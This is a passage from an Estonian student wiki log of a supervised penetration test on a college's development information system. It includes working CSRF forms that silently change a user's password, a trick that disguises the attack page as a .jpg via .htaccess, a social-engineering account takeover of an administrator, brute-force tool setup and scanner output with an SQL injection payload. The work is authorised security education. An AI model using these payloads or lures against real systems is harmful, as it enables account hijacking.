Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
===Burp suite===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
==Nessuse algkäivitamine==&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno&amp;lt;br&amp;gt;&lt;br /&gt;
Urmo Lihten&amp;lt;br&amp;gt;&lt;br /&gt;
Taavi Podžuks&amp;lt;br&amp;gt;&lt;br /&gt;
Matis Alliksoo&amp;lt;br&amp;gt;&lt;br /&gt;
Sander Saarm&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47003</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47003"/>
		<updated>2012-03-30T09:27:13Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidga tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]]&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
1.1	Tutvuda OWASP’iga. &lt;br /&gt;
1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
http://www.isecom.org/research.html&lt;br /&gt;
http://evuln.com/tools/&lt;br /&gt;
http://sectools.org/tag/web-scanners/&lt;br /&gt;
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
Cross-Site Scripting (XSS)&lt;br /&gt;
SQL Injection (blind test)&lt;br /&gt;
File inclusion&lt;br /&gt;
Code Execution&lt;br /&gt;
LDAP Injection&lt;br /&gt;
Cross Frame Scripting&lt;br /&gt;
SQL Injection (error msg. test)&lt;br /&gt;
CRLF Injection&lt;br /&gt;
Directory Travelsal&lt;br /&gt;
XPath Injection&lt;br /&gt;
URL Redirection&lt;br /&gt;
Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
